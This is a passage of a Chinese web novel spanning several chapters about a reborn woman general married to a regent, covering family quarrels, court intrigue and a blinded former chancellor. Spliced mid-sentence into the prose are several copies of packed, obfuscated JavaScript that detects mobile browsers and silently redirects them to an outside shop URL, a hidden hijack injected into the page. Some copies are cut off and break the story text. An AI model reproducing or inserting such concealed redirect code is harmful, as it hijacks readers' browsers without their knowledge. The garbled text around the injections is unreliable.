翌日清晨,一缕温暖的阳光洒在春光旖旎的床榻之上。叶袭宸睁开了眼睛,伸了个懒腰,顿觉神清气爽。她侧头看向旁边依旧睡着的唐锶谐,情不自禁地在他的唇角上按了一下。 没有戴面具的唐锶谐看上去比往常要温顺得多,比之花疏叶也不遑多让。唯一美中不足的就是由于常年戴着面具,脸上有些许痕迹。 叶袭宸支着脑袋低头看着,手指慢慢描绘出唐锶谐面部的轮廓。 唐锶谐昨晚应是累坏了,居然这样都没有醒来。只是微微皱着眉头,左右摇晃着脸。叶袭宸的手指愈发放肆,手指按了按他的锁骨。 唐锶谐蓦然睁开了双眸。 叶袭宸收回了手,唇角微勾:“你醒了?” 唐锶谐没有说话,只是深深地望着叶袭宸。一头墨发披散在洁白色的枕头上,漆黑色的瞳仁深邃幽深。 叶袭宸禁不住心跳加速。她拿起唐锶谐的面具放在手里把玩,直到被唐锶谐抢去,重新戴上。 叶袭宸心中疑惑,“为何又要戴上这副面具?” 唐锶谐垂下眸子:“我这副相貌现世,会引起一场不必要的纷争。” 不必要的纷争? 叶袭宸转了转眼珠子。 唐锶谐已经起身,“今日是回门的日子,我们得早些动身。” 回门? 叶袭宸倒险些忘记了。 一番折腾后,两人带着大包小包回了沈府。沈奉和沈秋实早就等在门口了,见到唐锶谐就像是苍蝇见了血一样,巴巴地就迎上去了,一阵寒暄。叶袭宸倒像是个外人,被晾在一旁。 还是唐锶谐将叶袭宸拉到自己身前,他们的视线才终于吝啬地落在了她的身上。 沈奉关心道:“王妃,看着清瘦了些,可要注意些身体呀。” 叶袭宸微微一笑:“谢父亲关心,当初我缠绵病榻两个月,父亲都没有来看望一下,如今却能看出我清瘦了,可见父亲虽然年迈,可眼力还是极佳的。” 这一番话极其阴阳怪气,偏叶袭宸说得又热泪盈眶,感动得不能自已。沈奉无法发难,脸上只好堆起尴尬的笑容。 “此言差矣。”沈秋实说话了,“父亲诸事缠身,无暇去看望。我们做子女的不能日夜侍奉已是不孝,怎可反过来指责父亲?” “兄长说得是。”叶袭宸脸上的笑容愈发加深:“或许我该向兄长学习一下,心中郁结无处发泄,纵马狂奔撞死行人。” 此言一出,沈秋实的脸色也变得难看了起来。他万万没想到,当年自己缠绵病榻时做下的糊涂事,沈道溦能记得这么清楚。 三个人之间的氛围顿时变得剑拔弩张,回门之日还没进门,她就已经遭到了眼神驱逐。 “礼已经送到。”唐锶谐出声打破了这股子沉闷:“我们还有事,先回去了。” 唐锶谐本意是为叶袭宸着想,不想叶袭宸却扯住了他的袖子:“不急,父亲和兄长想必已备下饭菜,我们总要吃过晌午饭再走。” 话是对唐锶谐说的,眼睛却始终看着眼巴巴的沈奉和沈秋实。 此言一出,沈奉立即附和:“王妃说得是,摄政王若是这就走了,旁人恐要说我们沈府怠慢了您。到时皇上降罪下来,老臣可吃罪不起。” 唐锶谐看了叶袭宸一眼,遂点了点头。 沈府的筵席很是丰盛,八岁的沈修远也在,却唯独不见沈星月。叶袭宸便问了一句,沈奉的一张老脸上都堆着笑:“星月不识抬举,恐冒犯摄政王,便叫她在屋里歇着了。” 顿了会儿,沈奉又道:“王妃是想要星月过来吗?” 叶袭宸还未说话,沈秋实已经冷嘲热讽起来:“星月曾经对摄政王不敬,难不成你是想让星月过来对摄政王大打出手吗?” 叶袭宸笑了一声:“兄长也曾害得皇上卧病不起,难不成日后兄长都不上朝了吗?” “你……” 沈秋实的脸色一阵青一阵白一阵红,他为自己狡辩道:“我不是有意为之!而星月是故意的!” “星月不过是一时意气,兄长这么斤斤计较也就罢了,难道认为摄政王也是如你一般小气吗?” 沈秋实愣了一下,狡辩道:“我不是这个意思!” “不是便好。” 叶袭宸微微一笑,不再说话,只是低头吃饭。 沈奉向唐锶谐赔着笑脸:“摄政王见笑了,他们兄妹自小就这般斗嘴。” “是吗?”唐锶谐微抬眼皮,语气透着一股子冷意。 沈奉笑得脸都僵硬了,忙眼神示意沈秋实,叫他少说一句。沈秋实虽面露不甘,但也只能偃旗息鼓。好在叶袭宸之后也不再说话了,只是吃着菜。 唐锶谐看着叶袭宸马不停蹄吃饭的模样,像是好几日没吃过一般,面上不由得多了几分笑意。他盛了一碗汤放在她的面前,声音低柔:“慢些吃,当心呛着。” 叶袭宸点点头,将一碗汤喝得精光,然后借着解手,溜出了筵席。她直接来到沈星月的院子,上面依旧挂着正义阁三个字。 还未进屋,一个酒瓶子就咕噜咕噜滚了出来。叶袭宸皱了皱眉头,一股铺天盖地的酒气直钻鼻孔。她大步迈了进去,屋内乱糟糟的,一片狼藉。一个披头散发的女子坐在角落里,双腿大张,毫无仪态。 “你来了?” 沈星月的声音都变了,语气里不再满是骄纵,而是透着满满的颓废。 “来陪我喝酒。” 沈星月举起手里的酒坛子,咯咯地笑了出来,酒水从唇角里渗出来,全都洒在了干了又湿、湿了又干的衣服上。 “你……” 叶袭宸有种恨铁不成钢的意味,她劈手夺过沈星月的酒坛子,一下子摔在地上。 啪地一声,酒坛子碎裂在地,酒水溅得到处都是。 “我的酒……” 沈星月心疼极了,趴在地上舔舐着酒水。 叶袭宸一把揪住沈星月的衣领,把她从地上提了起来。 “你给我清醒一点!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈星月慢慢从地上爬起来,唇角渗出鲜血,整个人越发显得疯癫:“沈道溦,我老早就看出来了,你也练过是不是?你一直在隐藏自己是不是?” “哈哈哈哈哈哈!”她仰天长笑:“你自己练过,却阻止我练武!甚至不惜借着救我的由头将我的武功全都废除!你嫉妒我身子比你好是不是!你这个自私自利又虚伪至极的小人!” “沈星月我瞧不起你。”叶袭宸笑了,笑得极其难看:“连我这个病秧子都能练,你这个废人居然在这里自暴自弃!” “承认了?”沈星月同样笑得极其难看:“你居然承认了。” 叶袭宸喉头涌上来一股腥甜,她勉强压抑着,冷笑出声:“若是叶袭宸看到如今你这副模样,一定会后悔当时看错了你!” “你说什么?!”沈星月的眼神陡地狠厉起来。 叶袭宸寒声道:“算我当时瞎了眼!” 沈星月怔愣片刻,叶袭宸已经摔袖而去。身子顿时摇晃了一下,酸涩的眼眶里不由得溢出泪水,她后退半步,摇着头道:“不会的……不会的……她不会……” 叶袭宸甫一出了正义阁,便再也压制不住逐渐弥漫的血腥之气,一口鲜血直接吐了出来。 42. 第 42 章 叶袭宸醒来的时候已经在摄政王府了,唐锶谐守在床前,见她醒来满眼的担心:“身子可还有不适?” 叶袭宸摇了摇头。 唐锶谐松了一口气:“我去寻你时,正巧见你吐血晕倒在地上,到底发生何事了?” 叶袭宸苍白地笑了一声:“许是被星月气到了。自被废了武功后,她就自暴自弃,整日酗酒。” 唐锶谐沉默片刻:“道溦,你是在责怪我吗?” “不。”叶袭宸道:“我是在气她这么糟蹋自己。” 唐锶谐垂下眸子:“道溦,我知道你是在怪我。其实,你可以直说的。” 叶袭宸一阵无语,她疲惫地揉了揉太阳穴,“罢了,我们不谈星月的事情了。” “道溦,你是否还在生我的气?”唐锶谐执起叶袭宸的手放在自己脸上,深情地望着叶袭宸:“我们夫妻间没有什么不能说的,你藏着掖着,我只会更难受。你郁结于心,也会对自己的身子造成损伤的。” “呃。”叶袭宸讪讪地抽回了手:“其实我真的没有在责怪你,就算要怪也已经过去了。现在怎么责怪都没有用,如今我只操心星月如何振作起来。” 唐锶谐垂眸,抿了抿唇:“道溦,我倒情愿你怨我,也好过如今清淡如水。昨夜,情难自已时,我并未在你眼中看到任何情谊。” “呃。”叶袭宸扯了扯唇角。 她叶袭宸向来是走身不走心,对待任何男子都只是蜻蜓点水。但是她自认演技尚可,浓情蜜意应该能演个七八分,不成想居然被唐锶谐给看出来了。 但这种事也不能全怪自己,若是前世,恐怕还会对唐锶谐生出几分不该有的心思。但如今自己是沈道溦,不对他生出厌恶就不错了,还能指望生出什么情谊。 眼下唐锶谐还垂着眸,叶袭宸想不出什么话来搪塞他,只道:“昨夜实在有些乏了。” 闻言,唐锶谐抬眸:“果真如此?” 叶袭宸微笑:“自然如此。” 唐锶谐的神情明显缓和了许多:“你好生歇息,把身子养一养。” 叶袭宸乖巧地点了点头。 “我还有政务要忙,就不陪你了。” 叶袭宸依旧点头。 唐锶谐走了几步,却又回头:“道溦,你为何不挽留我?” 叶袭宸心底再次升起一阵无语,一忍再忍,面上勉强挤出些笑容:“我若是挽留你,岂不是不懂事了?你是要去处理政务的,而非寻花问柳。” 唐锶谐垂着眸子。 叶袭宸下了床,上前几步握住唐锶谐的手,笑容恰到好处:“若是可以的话,我与你一同处理政务可否?你批奏折子,我给你磨墨。” 唐锶谐摇头:“不用了,你身子弱,还是休息吧。” 唐锶谐走后,叶袭宸脸上的笑容就尽数卸了下来。 以进为退也不失为一种法子。 不过从侧面来看,唐锶谐果真是被前世的自己整怕了,连政务都不想让女子沾边。 叶袭宸重新回到床上躺下,闭目养神。 若云从外头进来了,手里还端着一碗汤药。叶袭宸将汤药喝了,继续休息。 接连养了十几日后,叶袭宸终于觉得身子好了些。期间唐锶谐来看过几次,嘘寒问暖,除却问候几句没旁的了。不过倒是找了几支人参,用来给叶袭宸滋补身子。 叶袭宸有了自己可以重新提枪上阵杀敌的错觉。 这日,长辞依旧在院子里扎马步,叶袭宸也开始打拳。长辞被叶袭宸的拳法吸引,不由自主地跟着她练了起来。 林有分原本是抱着剑依靠在墙上看着,然而看到一半却不由自主地直起身子。 王妃的身法,依稀与记忆中的某个人重合。 那一日是士兵在校场操练的日子,练习射箭。 叶袭宸是负责的教头,沉静的目光扫视在场的每一个士兵。校场风大,深红色的发带被吹得带向空中。 一排排士兵站在离草耙子三十丈以内,蓄势待发。 “射!” 一声令下。 士兵手里的箭纷纷离弦而出。然而他们看似威风凛凛,实际射中的却没有几个。 叶袭宸眉头紧皱,负手而立,手执长鞭,声音中气十足。 “你们这群没用的东西!” 叶袭宸挥起鞭子。 啪地一声,鞭子抽在第一个士兵的胳膊上。 “昨日我教的动作是这样的吗?!手抖什么?” 又是啪地一声,鞭子抽在第二个士兵的腰上。 “站直了,软趴趴的像什么样子!” 再是啪地一声,鞭子抽在第三个士兵的背上。 “聚精会神,眼神飘什么!” …… 几乎每个士兵都挨了鞭子。 有个身形高大的士兵不服气叶袭宸,站得绷直,当众顶撞:“叶教头,我们是上阵杀敌的,用的是刀,持的是剑,耍的是枪,不是弓箭!” 叶袭宸沉着脸站在他面前,“你觉得弓箭无用?” “不是!”士兵站直了身子:“弓箭有用,只是我不适合!” “哦?”叶袭宸轻轻挑眉:“你适合什么?” “我适合拳脚功夫!”那个士兵身上有种初生牛犊不怕虎的气势。 “呵,拳脚功夫。”叶袭宸冷冷地笑出了声音,她将鞭子往地上一扔,双手负在身后:“你若是能打倒我,从今往后你都不用学射箭了!” “当真?”那个士兵喜出望外。 “我叶袭宸说话向来算数。” “好。” 士兵出列,在叶袭宸的对面摆开架势。在他眼中,自己魁梧高大,而叶袭宸不过就是个矮小的教头而已。 自己战胜她绰绰有余。 “教头,我们可事先讲好。”那个士兵还不忘给自己留后路,他捏着拳头:“若是我这拳头打花了你的小脸儿,你可不能怨……” 话还没说完,他的鼻子就直接挨了一拳。庞大的身躯轰然倒下,地面溅起黄色的尘土。 叶袭宸捏了捏自己的手腕:“能打花我的脸不怪你。” 那个士兵的鼻子汩汩地冒出鲜血,勉强从地上爬起来,擦了把鼻子就朝叶袭宸挥拳。 叶袭宸左右躲闪,凭借身形的优势绕到那个士兵的背后,然后直接飞起一脚踹在了他的背上。 那个士兵往前踉跄了几下,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶袭宸看到了他,迎上前去:“怎么不进来?” “想起了一些事情。” 唐锶谐定了定心神,本想说些别的,叶袭宸却点破了他的心思:“莫不是想到了叶袭宸?” “……” 唐锶谐微微一愣,随即反驳道:“切莫胡说,我如何会想到她!” “……” 叶袭宸微微蹙眉。 她主动提起自己的名字本是想解释自己的拳脚是怎么学来的,林有分那道探究的视线总在粘在自己身上。与其让他们七想八想,不如自己主动给个解释。不成想会引起唐锶谐如此大的反应,仔细看去,脸色竟然还有些微微涨红。 察觉到叶袭宸的视线,唐锶谐也后知后觉到自己的反应确是有些大了。右手抬起握拳在唇边轻咳一声,他轻轻开口:“明日我要进宫……” 话还没说完,袖子已经被人扯住。唐锶谐讶然,叶袭宸已经轻轻撞到了他的怀里:“也带我一起进宫吧。” 43. 第 43 章 马车有条不紊地驶向皇宫。 唐锶谐坐于中间,双腿微张,两手置于膝盖处,尚且还处在闭目养神的阶段。叶袭宸挑起窗帘看向外面,只觉恍如隔世。 皇宫是个除战场和军营之外第三个与她前生息息相关的地方,或许在江南碰到长公主的时候,她与皇宫的缘分就结下了。 她曾两次攻入杀进皇宫,第一次是为花疏叶登基,第二次却是为了把他踢下皇位。 叶袭宸顿感五味杂陈,撤回马车里坐着。 唐锶谐依旧闭着眼睛,似是在平静内心一般。叶袭宸饶有趣味地看着他,前世只当他对自己厌恶至极,甚至到了要杀之而后快的地步,没想到事实并非如此。 从她故意提起自己的名字而唐锶谐急于否认时,叶袭宸就明白了。 唐锶谐心里有鬼。 自己并非是简单的横亘在他与沈道溦之间的隔阂。 虽然不知道是什么,但是趁热打铁要他带自己去皇宫的决定是做对了。许是心虚的原因,他居然一口应承了下来。 换作平时他或许也不会拒绝,但绝对会刨根问底一番。而自己的确是还没想好借口,倘若现在他回过神来问起缘由,也只能胡扯了。 果不其然,在叶袭宸心头冒出这个想法的时候,唐锶谐便已经睁开了眼睛。 “忘记问你了,你为何要进宫?” “想见一见宋雪砚罢了。” 叶袭宸半真半假地吐出这么一句话来。站在沈道溦的角度上,也合情合理。更主要的是,她需要唐锶谐的反应来验证一些事情。 岂料唐锶谐的反应极为平淡,相较于方才听到自己名字时的反应简直是蜻蜓点水,只是微微蹙了下眉头:“我记得你不是痛打落水狗之人。” 说起沈道溦与宋雪砚,其实也颇有渊源。当时长公主在大衍境内选拔人才,以担当宰相之职。 当时沈道溦为状元,这也是沈道溦状元之名的由来。宋雪砚为榜眼,但是最后得到了宰相之位的却是她。无他,只因沈道溦的身子实在是太差劲儿了。平常走几步路都要血溅当场,更别说处理政务了。 这是另外一方面。 还有一方面便是宋雪砚与唐锶谐的关系。 前世宋雪砚放唐锶谐进城,才造成叶袭宸被乱刀砍死的结局。直到现在叶袭宸也没有想明白,宋雪砚究竟为何这样做。她与宋雪砚一文一武同伴长公主左右,日常也没有口舌之争,究竟为何会闹到如今这般地步。 思来想去,叶袭宸只能以最大的恶意来揣测宋雪砚了。许是宋雪砚与唐锶谐有了私情,为了所谓的蓝颜知己,出卖了自己这个朋友。 这种猜测扎根叶袭宸心底已久,是以此时此刻她拿这话来问唐锶谐。如今她是沈道溦,是摄政王唐锶谐的妻子,如此发问也颇有正室捉小三之嫌。 然让她万万没想到的是,唐锶谐的神情居然无甚起伏,不似维护自己的红颜知己,反倒像是仅出于对自己王妃人品的诘问。 若无先前唐锶谐面对自己名字时的异样,叶袭宸也不会有如此解释。可是那个反应实在是太不同寻常了,她真的急于想寻个参照物来解读他的异常。 叶袭宸又一想先前唐锶谐提及前世自己名字时的反应,心里实在琢磨不出个所以然来。按理来说,叶袭宸这个名字已经提及多次了,他早该有些心理准备,神情麻木了才是,就如同他现在的神情似的。 这些想法也就只在叶袭宸的脑中转了一瞬而已。面对唐锶谐的疑问,她勾了勾唇,“我自然不是痛打落水狗之人,只是听闻她疯了,想去看望一下。” 唐锶谐冷笑一声:“何止是疯了,她两年前已经自戳双目,如今已是个瞎子了。” “什么?”叶袭宸心底着实吃了一惊,连带着眉头都紧紧皱了起来:“她为何这样对待自己?” 唐锶谐又是一声冷笑:“两年前皇上复位,罢免了宋雪砚的宰相之位。许是她受不了这个刺激,直接发疯了吧。” 叶袭宸顿时起了几分好奇,唐锶谐对于宋雪砚的厌恶几乎是丝毫不掩饰。 “你没有为她说过几句话吗?” “我为何要为她说话?”唐锶谐再是一声冷笑:“这等叛主之人,留她一条命已是开恩了。” 已经是第三声冷笑了,也不差叶袭宸的第四声。 叶袭宸同样也是一声冷哼:“倘若我没有记错的话,正是宋雪砚为你打开了城门,你才得以顺利攻入皇宫。怎么,你是那种用完了就要卸磨杀驴的人吗?” “我自然不是。”唐锶谐寒声道:“倘若她只是个与叶袭宸不相干的人,出卖了也就出卖了,毕竟两人之间毫无情义。但是叶袭宸对她极其信任,二人也是关系匪浅。如此情形之下她都能将叶袭宸出卖了,日后无论旁人对其如何,她都能一个不高兴卖主求荣,试问日后谁还敢用她?” “句句在理。”叶袭宸耐着性子听完了,还给出了一句评价,但是脸色却极其难看:“但这句话不该你来说,倘若你没有蛊惑她,她如何会走到如今这个地步!是你将她害到了反贼不反贼,臣不臣,姐妹不姐妹的位置上来的!如今你居然置身事外,将全部过错都推到她身上!唐锶谐,你可真是正人君子!” 叶袭宸属实是被气到了,说出的话也几乎不经过大脑,直接脱口而出。而唐锶谐明显比她生气,搭在膝盖上的手收紧了,攥成拳头,手背青筋暴起:“你错了!我并未蛊惑她,是她派人暗中向我传递消息,说愿意效犬马之劳!” “什么?”叶袭宸又是吃了一惊,随即反驳道:“不可能!她如今已经身居高位,已经是一人之上万人之下!倘若你不是以皇后之位诱惑她,她如何会出卖朋友!” “皇后之位!?”唐锶谐仿若听到了什么好笑的事情,倏地笑出声来:“道溦,你难不成也是以为我是为了自己,为了皇位才讨伐叶袭宸的?” 难道不是? 这句反问叶袭宸险些就要说出来了,可是事实胜于雄辩,两年了,两年了唐锶谐都没有以下犯上,反倒心甘情愿地养着花疏叶这个废物! 叶袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098266|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宸深深吸了一口气,她闭了闭眼睛,尽量使自己的情绪稳定下来后才开口:“就算不是皇后之位,难不成你就没有许她别的?” “没有!”唐锶谐反驳得很迅速,也很坚定。 “你没有,你手底下的人也没有吗?” 问出这句话的时候,叶袭宸顿感自己方才的气势矮了一截,甚至可以说是已经不复存在。 “我治军向来严苛,手底下的人绝对不会假传我的命令。再者,你以为宋雪砚是什么简单人物,没有得到我的亲口许诺,她会这么孤注一掷吗?” 叶袭宸揉了揉太阳穴,只觉得十分疲惫。方才那一番争执已经耗尽了她所有的气力,而那个真相更是让人身心俱疲。 宋雪砚竟也如唐锶谐一般吃力不讨好,究竟为的是什么? 唐锶谐的情绪也平静了下来,他将叶袭宸揽入怀里,下巴轻轻摩挲着她的发顶:“道溦,我知道你与那叶袭宸感情深厚,我也不否认是我亲手送她下了地狱。我方才说的话也不是要置身事外,为了求得你的谅解而把责任全都推到宋雪砚这个弱女子身上,而是事实。” 叶袭宸闭了闭眼睛,推开唐锶谐:“我需要一点时间静上一静。” “道溦。”唐锶谐叹了口气,“你究竟什么时候才能放下叶袭宸,你难道非要将自己变成第二个她吗?” “我不会是第二个她的。”叶袭宸面无表情道:“大衍能出几个叶袭宸,登上了皇位还能被人踢下去。” “是吗?”唐锶谐话里有话:“我看那个沈星月倒是颇有一番叶袭宸当年的味道。” 叶袭宸笑了,笑得极其难看:“一朝被蛇咬,十年怕井绳。你该不会是被叶袭宸吓破了胆子,见个习武的女子都以为她是叶袭宸吧。” 她这几句话本是挑衅,不成想唐锶谐却是有些恼羞成怒,像是被踩到了尾巴的猫儿一般:“本王没有!” 叶袭宸又是愣了一愣。 寻常反应难道不应是从鼻孔里冷哼一声,以示不屑。又或是微微一笑,用淡定来显示自己的不以为意。 怎么是这个反应,有种说不清道不明的古怪。 唐锶谐很快察觉,抿紧了唇角,不再开口说话了。 马车已经进宫。 唐锶谐要去金銮殿拿朝臣们上的折子回去批复,留下叶袭宸与林有分在宫里面晃荡。 叶袭宸看着唐锶谐离开的背影,不知为何,她竟觉得他与长公主花疏玉有几分相似。对花疏叶都是任劳任怨,溺爱得有些过分。 有句话叫不在其位,不谋其政,而他们两个几乎是反了过来。即便已经越权做了太多不是自己这个职位该做的事情,却并非想要篡权,而只是为了江山社稷。 花疏玉的用意叶袭宸尚且还能理解,毕竟都是男子继承皇位,她想要迈出这最后一步实属不易。再者花疏叶还是她一母同胞的弟弟,是她从小看着长大的,她又怎么会和自己的弟弟抢夺皇位。 但是唐锶谐,难道就只是仅仅将花疏叶当成了花疏玟来尽君臣之义吗? 44. 第 44 章 摘星楼。 叶袭宸站在楼下眺望,这栋楼的每一层都有个伞状的装饰,下面挂着风铃等装饰品,风一吹就会发出悦耳的响声。每回来这里都会听到,这里的风仿佛永远不会停止一般。 国师符无虞就住在这里,在叶袭宸的印象里,她总是一袭白衣跪坐在桌前,双手捧着个龟壳子摇来晃去。分明看上去年纪不大,却很是老成。 听闻她是个修道之人,因为杂念太多,修道不成,反被师尊轰下山来。但叶袭宸却觉得她很是超凡脱俗,自有那么一种清心寡欲、与世无争的味道。 来到大衍后,她终日困守在摘星楼,从不外出。许是因为憋闷,她养了几只猫猫狗狗,但要不就是通身雪白要么就是乌漆抹黑。 摘星楼内几乎没有旁人来往,除了宰相宋雪砚。也难怪,国师符无虞是永安元年被宋雪砚带进宫里来的。刚带进来的时候是个小乞丐,浑身上下脏兮兮的,看上去像是个逃荒要饭的难民,洗去一身灰尘后才发现是个绝色佳人。 一身灰色的道袍,扎了个可爱的小丸子头。面庞清丽,举止大方。因着是宋雪砚带进宫里的人,花疏玉便设宴款待她。没有请太多人,只有叶袭宸一个。 符无虞的位置设在宋雪砚的下方,她会卜卦算命,吃过饭后就从道袍里掏出一个龟壳和几枚铜钱,当即便算出一年之内她们三人中有一人会命丧黄泉。 这句话可真是晴天霹雳。 如今大衍形势大好,梁贼被杀,新帝登基,百废待兴。花疏玉跃跃欲试,欲在大衍境内大干一番。然而要大干一番,身边就不能没有宋雪砚和叶袭宸。一个能在朝堂上帮自己做事,另一个则手握重兵,让自己全无后顾之忧。 这两人缺一不可。如今却听到符无虞这句话,花疏玉的眉头不禁皱起来。 叶袭宸是不信鬼神的,自然也不信卜卦算命这种江湖术法,当即便轻嗤一声:“用得着你算?我整日打打杀杀,命丧黄泉是早晚的事情。” “袭宸。”坐在上首的花疏玉当即轻声呵斥一声:“哪有你这么诅咒自己的?” 叶袭宸不以为然:“我说得可是实话。”她坐在花疏玉的右下方,上上下下打量着坐在斜对面的符无虞:“你这个小丫头,想留在皇宫可要凭真才实学,就这么个骗人的法子可不行。” “你若不信,我便再算一次。” 符无虞神情不变,不卑不亢,当即将三枚铜钱全都塞入龟壳之中,闭上眼睛轻轻摇晃,后将龟壳里的铜钱全部倒出在桌上。 叶袭宸离开座位凑上去查看,却看不出个所以然来。 纤细的手指抚摸着铜钱,符无虞细细看着,眉头紧皱:“再过一年,你们三人中会再有一人身首异处。” 叶袭宸脸色变了,直接一掌将桌子劈作两瓣。 龟壳和几枚铜钱散落了一地。 叶袭宸骂道:“你这说的什么话?诅咒阿砚和阿玉是不是?” 符无虞的神情很是无辜,她捡起龟壳和几枚铜钱:“这是卜算出来的结果,与我无干。再者,我是第一次见到三位大人物,与你们无冤无仇,为何要诅咒你们?” 叶袭宸拔出剑来,直接架在符无虞的脖子上:“我看你是梁王府的余孽,来这里危言耸听的。说,你到底有何居心?” 符无虞神情平静:“我的来历宋相早已调查清楚了,不过是刚从深山老林里出来的黄毛丫头而已。再者,我从未见过梁王,何谈他府上的余孽?叶将军向来杀伐果断,梁王府的人尽数死于你手,我何德何能能从你的手底下逃脱?” 叶袭宸哑口无言,气极反笑:“我不过才说了一句,你就有这么多句等着。是不是早就在心里想好了,还说不是别有居心?” 符无虞看了看作壁上观的宋雪砚和花疏玉,心知她们在等着看自己的斤两,便不紧不慢地看着叶袭宸道:“你若是认定我心里有鬼,大可一剑刺死我。但是你若是留我一命,我还能卜算出第三人的结局。” 叶袭宸收起了剑,抱在怀里,下巴微抬:“什么结局?怕不是再过一年,第三人也死了吧。照你的说法,我们三个都活不过三年是不是。” 符无虞捧起龟壳子再次摇晃,将铜钱倒入手掌心内。手指轻轻摩挲着,她轻轻抬头:“第二人身死之时,就是第三人疯癫之际。” “胡说八道的干什么?”叶袭宸抢过龟壳子,“你这玩意儿就能看出吉凶祸福来,信口胡编的吧。” “是不是胡说,两年内便可见分晓。” 一语成谶。 一年内花疏玉死在和亲途中。 叶袭宸当即便攻入皇城,将花疏叶一脚踢下了皇位,囚禁在地牢之中。 地牢阴暗潮湿,老鼠蟑螂层出不穷。花疏叶自小体弱,终日咳血。这也便罢了,每日夜晚叶袭宸还去造访,束在铁链子上的铜铃整夜响个不停。 朝野上下义愤填膺,胆子大的直接在朝堂上大骂叶袭宸。叶袭宸也不是吃素的,年老色衰的杀的杀,下狱的下狱,流放的流放。年轻貌美的直接被罚入教坊司,戴着铜铃在朝中官员面前翩翩起舞。 这尚且还不是过分的,更让人觉得屈辱的便是这四种刑罚前都得先受宫刑。 在严刑酷吏下,朝堂安分了一阵子。但是治标不治本,叶袭宸这个皇位的得来本就名不正言不顺,又是女子,朝堂之外很多所谓的英雄好汉打着匡扶正义的名号起兵反叛。 说是为了伸张正义,却都挟持着一位皇室成员以示正统。叶袭宸平定这些叛乱后,将那些蠢蠢欲动的皇室成员也都杀了个干净。 清净了。 解决完这些事情后,叶袭宸偶遇摘星楼,便进去坐了坐。符无虞给她泡了茶,见她眉宇之间似有忧愁,便问了一句:“皇上为何事忧愁?” 叶袭宸举起茶杯道:“昔日你卜算出一年内我三人中将有一人殒命,如今你确是算对了。今日我借你的香茶,敬你一杯。” 似有几分赔罪之意。 符无虞正坐在叶袭宸对面,低垂着眉眼:“昔日皇上也并未说我算错。” 叶袭宸放下茶杯,苦笑一声:“的确,当日我以为是我命丧黄泉,不成想却是阿玉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102715|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老天不公!” 紧握着的茶杯被直接捏碎。 茶水四溅,有几滴和着叶袭宸的鲜血落在了符无虞的白衣上。似是雪地上开出的几朵红梅,分外惹眼。 符无虞仿若没有看到叶袭宸鲜血淋漓的手掌,只是问道:“何为不公?” 叶袭宸冷笑一声:“即便要死,她也该死在我与宋雪砚之后,起码,也应死在我之后!” 符无虞给叶袭宸换了个茶杯,重新满上茶水:“皇上何出此言?” “无能之辈!”叶袭宸紧紧握着茶杯,力气之大,以至于杯中的茶水都在摇晃。有一些洒了出来,似是波涛汹涌的江水拍打着岸堤一般,顺着染血的手指流回杯中。 浅黄色的茶水沾染些许鲜血,仿若一滴墨水滴入清水一般,在茶杯里丝丝蔓延开来。 “我若是死了,护不了她也就罢了。可如今我活得好好的,却依旧护不住她!不仅护不住她,甚至眼睁睁地看在她死在我面前,我却无能为力!” 叶袭宸仰起脖子,将茶水一饮而尽。胸膛剧烈起伏,茶杯再次被她捏得粉碎。 符无虞双手递上一方素帕。 叶袭宸将素帕攥在手里,鲜血依旧止不住地汩汩地流出来。眼泪一滴一滴地落在手背上,冲淡了些许血迹。 “旧人已去,皇上该怜取眼前人。”符无虞道:“皇上……” 她的话还未说完,叶袭宸便道:“不错,阿玉已经离我而去,我不能再让阿砚也离开我!” 说完这话,叶袭宸便起身而去。留下符无虞跪坐在原地,叹息不止。 天命如此,人力难为。 “天命如此,人力难为。” 叶袭宸恍然回神,一个白绫遮目的白衣女子疯疯癫癫地朝自己跑来,面庞脏污,一身白衣也是不堪入目。 模样却有几分眼熟。 叶袭宸略微皱眉。 宋雪砚。 叶袭宸一眼便认出了她,不闪不避地立在原地。果不其然,宋雪砚一头撞在了叶袭宸的身上。 疯子的力气是要比寻常人大上不少的。宋雪砚只是身体摇晃了几下,而叶袭宸却是蹭蹭退后几步,险些摔倒。幸亏林有分扶了她一把,才不至于一屁股摔到地上。 “嘻嘻嘻。”宋雪砚高兴地拍着手:“香香的,软软的,真好闻。”她双手摸索着向叶袭宸靠过来,却被林有分的剑鞘挡住。 “呜呜呜呜。”宋雪砚哭了起来,血泪染红了遮目的白绫,“我要阿宸,我要阿宸……” 叶袭宸的心不由自主地颤了一下。 “阿宸抱抱……抱抱……” 宋雪砚向叶袭宸张开双手,哭得厉害。血泪一点一滴落在身着的白衣上,触目惊心。 “她的眼睛……” 